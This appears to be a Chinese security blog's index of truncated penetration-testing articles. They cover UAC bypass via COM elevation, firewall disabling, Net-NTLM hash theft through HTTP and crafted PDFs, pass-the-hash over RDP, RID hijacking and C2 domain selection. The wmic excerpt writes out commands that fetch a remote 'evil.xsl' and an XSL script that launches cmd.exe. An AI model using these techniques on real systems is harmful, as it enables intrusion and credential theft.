-
通过COM组件NetFwPolicy2越权关闭防火墙
0x00 前言 在上篇文章《通过COM组件IFileOperation越权复制文件》介绍了通过COM组件IFileOperation越权复制文件的三种方法,我们得出一个推论:对于explorer.exe(或是模拟成explorer.exe),加载高权限的COM组件不会弹出UAC的对话框 那么,这个推论是否适用于其他COM组件呢?又有哪些COM组件可以利用呢? 本文将要通过COM组件越权关闭防火墙的方法,详细记录研究过程 0x01 简介 寻找可以高权限运行的COM组件 编写c++程序实现关闭防火墙 添加代码以高权限运行COM组件 添加代码模拟进程explorer.exe 开源完整实现代码 0x02 寻找可以高权限运行的COM组件 通过COM组件IFileOperation实现越权复制文件有一个前提: COM组件能够以高权限运行 对于IFileOperation,它提供了一个参数(SetOperationFlags)可以指定启动的权限 官方文档: https://msdn.microsoft.com/en-us/library/bb775799.aspx 为了找到其他可以高权限运行的COM组件,我们首要的是寻找能够以高权限运行COM组件的方法 经过查找,我找到了一个资料,利用COM Elevation Moniker能够以高权限运行COM组件 官方文档: https://msdn.microsoft.com/en-us/library/windows/desktop/ms679687(v=vs.85).aspx 通过学习官方文档,发现COM Elevation Moniker的使用对COM组件有如下要求: 该COM组件被注册 注册位置在HKEY_LOCAL_MACHINE下,也就是说,需要以管理员权限注册这个COM组件才可以 注册表HKEY_LOCAL_MACHINE\Software\Classes\CLSID下需要指定三项键值 {CLSID}, LocalizedString(REG_EXPAND_SZ):displayName {CLSID}/Elevation,IconReference(REG_EXPAND_SZ):applicationIcon {CLSID}/Elevation,Enabled(REG_DWORD):1 注: 经过实际测试,以上三项缺一不可 接下来,按照这个要求搜索注册表寻找可用的COM组件 搜索位置:HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID 搜索关键词:Elevation 经过一段时间的搜索,我找到了一个可用的COM组件,位置:HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD} 信息如下图 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}\Elevation的信息如下图 满足COM Elevation Moniker的要求 通过搜索名称“HNetCfg.FwPolicy2”发现这个COM组件同防火墙的操作有关 0x03 编写c++程序实现关闭防火墙 对应COM接口INetFwProfile,于是查找资料尝试编写c程序实现...
-
通过COM组件IFileOperation越权复制文件
0x00 前言 在之前的文章《Empire中的Invoke-WScriptBypassUAC利用分析》曾介绍过一个越权复制文件的方法,在普通用户的权限下,利用wusa能够将cab文件释放至管理员权限的文件夹,进一步可以实现文件名劫持和UAC绕过。 但该功能在Win10下被取消,那么有没有更为通用的方法呢? 本文将要介绍一个适用于Win7-Win10的方法——利用COM组件IFileOperation 0x01 简介 利用原理 三种实现思路 实例代码 实际测试 利用分析 0x02 利用原理 注: 该方法学习自Defcon 25中的workshop,Ruben Boonen 《UAC 0day, all day!》 ppt下载地址: https://github.com/FuzzySecurity/DefCon25/blob/master/DefCon25_UAC-0day-All-Day_v1.2.pdf 利用COM组件IFileOperation越权复制文件的前提: Win7以后的系统 可信路径下的可信文件(例如explorer.exe,powershell.exe) 所以有以下三种实现思路: 1、dll劫持或是dll注入 由于可信路径下的可信文件一般都是在需要管理员权限的路径下,所以普通用户权限下基本无法实现dll劫持 可行的方法是dll注入 例如explorer.exe,在普通用户权限就可以对其进行dll注入 2、修改PEB结构,欺骗PSAPI,调用COM组件IFileOperation COM组件通过Process Status API (PSAPI)读取进程PEB结构中的Commandline来识别它们正在运行的进程 如果将进程的Path改成可信文件(如explorer.exe),就能够欺骗PSAPI,调用COM组件IFileOperation实现越权复制 3、通过可信文件直接调用COM组件IFileOperation 例如powershell.exe为可信文件,并且能够直接调用COM组件IFileOperation 0x03 实现方法1:dll注入explorer.exe 具体实现分为如下两段: 将dll注入到进程explorer.exe dll实现调用COM组件IFileOperation复制文件 github已经有一个完整的实现代码,因此可以参考该工程对其分析,工程地址: https://github.com/hjc4869/UacBypass (1)工程UacBypassTest实现了dll注入到进程explorer.exe 去掉不必要的功能,只保留将UacBypass.dll注入到进程explorer.exe的功能: 删除Line...
-
渗透技巧——利用PHP脚本从浏览器中获得Net-NTLM hash
0x00 前言 在上篇文章《渗透技巧——通过HTTP协议获得Net-NTLM hash》介绍了通过HTTP协议获得客户端当前登录用户Net-NTLM hash的方法,侧重于介绍原理和思路,本文将要给出一个具体的实现方法,利用PHP脚本模拟Net-NTLM认证过程,提取出客户端的Net-NTLM hash 0x01 简介 本文将要介绍以下内容: Net-NTLM认证过程 利用PHP脚本模拟认证过程 脚本编写细节 实际测试 0x02 Net-NTLM认证过程 参考资料: https://www.innovation.ch/personal/ronald/ntlm.html 依然使用这幅图,如下图 注: 图片截取自https://www.innovation.ch/personal/ronald/ntlm.html 0x03 利用PHP脚本模拟认证过程 想要通过PHP脚本模拟Net-NTLM认证过程,主要考虑的是Server端的实现 1、发送WWW-Authenticate: NTLM 接收Client的GET请求,回复401 Unauthorized WWW-Authenticate: NTLM,提示Client需要NTLM认证 2、发送WWW-Authenticate: NTLM <base64-encoded type-2-message> 接收Client的Type-1-Message,回复Type-2-message The Type 2 Message的结构如下: Offset Description Content 0 NTLMSSP Signature Null-terminated ASCII “NTLMSSP” (0x4e544c4d53535000) 8 NTLM...
-
渗透技巧——通过HTTP协议获得Net-NTLM hash
0x00 前言 在之前的文章《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》、《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》和《渗透技巧——利用图标文件获取连接文件服务器的NTLMv2 Hash》曾介绍了通过SMB协议获得登录用户Net-NTLM hash的方法,利用的前提是客户端通过界面使用SMB协议连接服务器时,默认先使用本机的用户名和密码hash尝试登录。 对于HTTP协议,也同样支持NTLM认证。那么,通过HTTP协议能否同样获得当前登录用户的Net-NTLM hash呢?限制条件有哪些?如何防御?本文将要逐一介绍。 0x01 简介 本文将要介绍以下内容: NTLM Over HTTP Protocol简介 找出利用前提 如何具体利用 防御思路 0x02 NTLM Over HTTP Protocol简介 官方文档: https://msdn.microsoft.com/en-us/library/cc237488.aspx 参考资料: https://www.innovation.ch/personal/ronald/ntlm.html 使用HTTP协议的NTLM认证流程: 客户端向服务器发送一个GET请求,请求获得网页内容 服务器由于开启了NTLM认证,所以返回401,提示需要NTLM认证 客户端发起NTLM认证,向服务器发送协商消息 服务器收到消息后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端 客户端接收到Challenge后,使用输入的密码hash对Challenge加密,生成response,将response发送给服务器 服务器接收客户端加密后的response,经过同样的运算,比较结果,若匹配,提供后续服务,否则,认证失败 直观的流程图,如下图 注: 图片截取自https://www.innovation.ch/personal/ronald/ntlm.html,具体的消息格式可查看链接中的介绍 实际测试 服务器: OS: Server2012 R2 IP: 192.168.62.136 安装IIS服务 客户端: OS: Win7...
-
渗透技巧——Pass the Hash with Remote Desktop(Restricted Admin mode)
0x00 前言 在渗透测试中,如果获得了某个用户的NTLM hash,我们可以尝试使用Pass the hash的方法对WMI和SMB服务进行登录,对于远程桌面服务同样可以进行利用。 本文将要介绍开启Restricted Admin mode时,使用Pass the hash对远程桌面进行登录的方法 关于Pass the hash的利用可参考之前的文章: 《域渗透——Pass The Hash的实现》 0x01 简介 本文将要介绍以下内容: Restricted Admin mode介绍 Pass the Hash with Remote Desktop(Restricted Admin mode)的实现方法 0x02 Restricted Admin mode简介 官方说明: https://blogs.technet.microsoft.com/kfalde/2013/08/14/restricted-admin-mode-for-rdp-in-windows-8-1-2012-r2/ 本节参照官方说明,加入个人理解,如果有误,欢迎纠正 Restricted Admin mode,直译为受限管理模式,主要功能是使得凭据不会暴露在目标系统中 适用系统 Windows 8.1和Windows Server 2012 R2默认支持该功能 Windows 7和Windows Server...
-
渗透技巧——利用PDF文件获取Net-NTLM hash
0x00 前言 今年4月,来自CheckPoint的Assaf Baharav公开了一个方法,利用PDF文件的正常功能够窃取Windows系统的NTLM Hash。 具体的说,当用户使用PDF阅读器打开一份恶意的PDF文档,该PDF会向远程SMB服务器发出请求,如果该远程SMB服务器对数据包进行抓取,就能够获得用户Windows系统的Net NTLM Hash,通过进一步破解就有可能获得用户系统的明文密码。 然而Microsoft、Adobe和FoxIT对此没有进行针对性的修复。 这个利用方法成功的条件有哪些?没有修复的原因又是什么呢? 本文将要站在技术研究的角度进行介绍 0x01 简介 本文将要介绍以下内容: 原理和利用思路 测试POC,生成一个恶意PDF文件 分析PDF文件格式 编写脚本实现修改正常PDF文件 开源代码 0x02 原理和利用思路 参考资料: https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/ 原理 PDF规范允许为GoTobe和GoToR条目加载远程内容 直观的理解: PDF文件可以添加一项功能,请求远程SMB服务器的文件 而我们知道,Windows系统下SMB协议有一个特性:客户端在连接SMB服务器时,默认先使用本机的用户名和密码hash尝试登录,通信协议默认为Net-NTLMv1或者Net-NTLMv2 工具Hashcat提供了字典和暴力破解两种方法来还原Net-NTLMv1和Net-NTLMv2协议中的明文密码 只要在SMB服务器上进行抓包,提取关键数据,就能够获得Hashcat需要的参数,尝试破解 抓包可选择WireShark,对获得的pcap包进行解析,提取关键数据。如果使用Responder可自动提取出关键数据。 之前写过的相关文章: 《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》 《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》 《渗透技巧——利用图标文件获取连接文件服务器的NTLMv2 Hash》 《Windows下的密码hash——Net-NTLMv1介绍》 类似的利用思路: 可参考以下文章: https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/ 介绍了多种文件格式的利用方法 利用思路 构造一份特殊的PDF文档,请求SMB服务器的一份文件 在SMB服务器上抓包 用户使用PDF阅读器打开PDF文档时,Windows系统将当前用户的Net NTLM Hash发送到SMB服务器...
-
渗透技巧——Windows帐户的RID Hijacking
0x00 前言 在之前的文章《渗透技巧——Windows系统的帐户隐藏》介绍过利用帐户克隆建立隐藏帐户的技巧,是通过复制目标帐户对应注册表项F键的值,使得隐藏帐户获得了相同的权限。 如果换一种思路,将目标帐户对应注册表项F键的部分内容覆盖已有帐户,那么已有帐户能否获得目标帐户的权限呢? 这就是本文将要介绍的方法——RID Hijacking 注: 该方法最早公开于2017年12月,地址如下: http://csl.com.co/rid-hijacking/ 0x01 简介 本文将要介绍以下内容: RID劫持的方法 编写脚本的实现思路 利用分析 防御检测 0x02 相关概念 SID 全称Security Identifiers(安全标识符),是Windows系统用于唯一标识用户或组的可变长度结构 官方说明地址: https://msdn.microsoft.com/en-us//library/windows/desktop/aa379594(v=vs.85).aspx SID包含以下信息: The revision level of the SID structure 48-bit identifier authority value relative identifier (RID) 实例 Windows命令行执行whoami /all可获得当前用户的SID,如下图 SID为: S-1-5-21-2752016420-1571072424-526487797-1001 S表示该字符串是SID 1表示SID的版本号 5-21-2752016420-1571072424-526487797对应ID authority 1001表示RID RID Windows系统帐户对应固定的RID:...
-
渗透基础——选择一个合适的C2域名
0x00 前言 在渗透测试中,常常需要选择一个合适的域名作为c2服务器,那么什么样的域名才能称之为”合适”呢? expireddomains.net也许能够给你一些思路。 通过expireddomains.net能够查询到最近过期或删除的域名,更重要的是它提供了关键词搜索功能。 本文将要测试过期域名自动化搜索工具CatMyFish,分析原理,修正其中的bug,使用python编写一个爬虫,获得所有搜索结果。 0x01 简介 本文将要介绍以下内容: 测试过期域名自动化搜索工具CatMyFish 分析原理修正CatMyFish中的bug 爬虫开发思路和实现细节 开源python实现的爬虫代码 0x02 测试过期域名自动化搜索工具CatMyFish 下载地址: https://github.com/Mr-Un1k0d3r/CatMyFish 主要实现流程 用户输入关键词 脚本将搜索请求发送到expireddomains.net进行查询 获得域名列表 脚本将域名发送到Symantec BlueCoat进行查询 获取每个域名的类别 expireddomains.net地址: https://www.expireddomains.net/ Symantec BlueCoat地址: https://sitereview.bluecoat.com/ 实际测试 需要安装python库beautifulsoup4 pip install beautifulsoup4 尝试搜索关键词microsoft,脚本报错,如下图 脚本对结果的解析出现了问题 于是,按照CatMyFish的实现思路自己编写脚本测试一下 访问expireddomains.net查询关键词microsoft,代码如下: import urllib import urllib2 from bs4 import BeautifulSoup url = "https://www.expireddomains.net/domain-name-search/?q=microsoft" req...
-
利用wmic调用xsl文件的分析与利用
0x00 前言 Casey Smith@subTee在博客分享的一个技巧,使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本。这个发现很有用,不仅可以作为一种白名单绕过的方法,而且可以作为payload来使用(从URL调用XSL脚本,利用XSL执行exe、shellcode、powershell脚本)。 本文将要对该项技术进行测试,结合自己的经验对其扩展,分享一个后门利用的思路,介绍同XXE漏洞结合的使用方法。 博客地址: https://subt0x11.blogspot.ca/2018/04/wmicexe-whitelisting-bypass-hacking.html?m=1 0x01 简介 本文将要介绍以下内容: 测试Casey Smith的方法 脚本分析,分析后门利用思路 编写后门利用脚本 同XXE漏洞的结合 0x02 测试Casey Smith的方法 本地: wmic process list /FORMAT:evil.xsl 远程: wmic os get /FORMAT:"https://example.com/evil.xsl" xsl文件内容如下: <?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements-prefix="user" language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe"); ]]> </ms:script> </stylesheet>...
-
CIA Hive Beacon Infrastructure复现2——使用Apache mod_rewrite实现https流量分发
0x00 前言 上篇文章介绍了使用Apache的mod_rewrite模块来实现http流量分发,本文将在此基础上介绍https的流量分发,对客户端的证书进行判断,若证书有效,才会将流量转发至真实服务器。 0x01 简介 本文将要介绍以下内容: Windows系统下配置Apache开启ssl Ubuntu系统下配置Apache开启ssl 使用openssl生成证书的方法和难点 Apache Https双向认证的配置 实现https流量分发的过程 0x02 Windows系统下配置Apache开启ssl 1、下载包含openssl的Apache 地址: http://httpd.apache.org/download.cgi 选择需要的版本,测试版本Apache 2.4.33,下载地址: https://www.apachehaus.com/cgi-bin/download.plx?dli=wUWZ1allWW00kej9iUG5UeJVlUGRVYRdnWzQmW 2、安装 解压后通过命令行安装: cd \Apace24\bin httpd -k install 3、配置httpd.conf 位于\Apace24\conf\httpd.conf (1) 定位: #LoadModule ssl_module modules/mod_ssl.so 去掉# (2) 定位: <IfModule ssl_module> Include conf/extra/httpd-ahssl.conf SSLRandomSeed startup builtin SSLRandomSeed connect builtin </IfModule> 将Include conf/extra/httpd-ahssl.conf改为Include...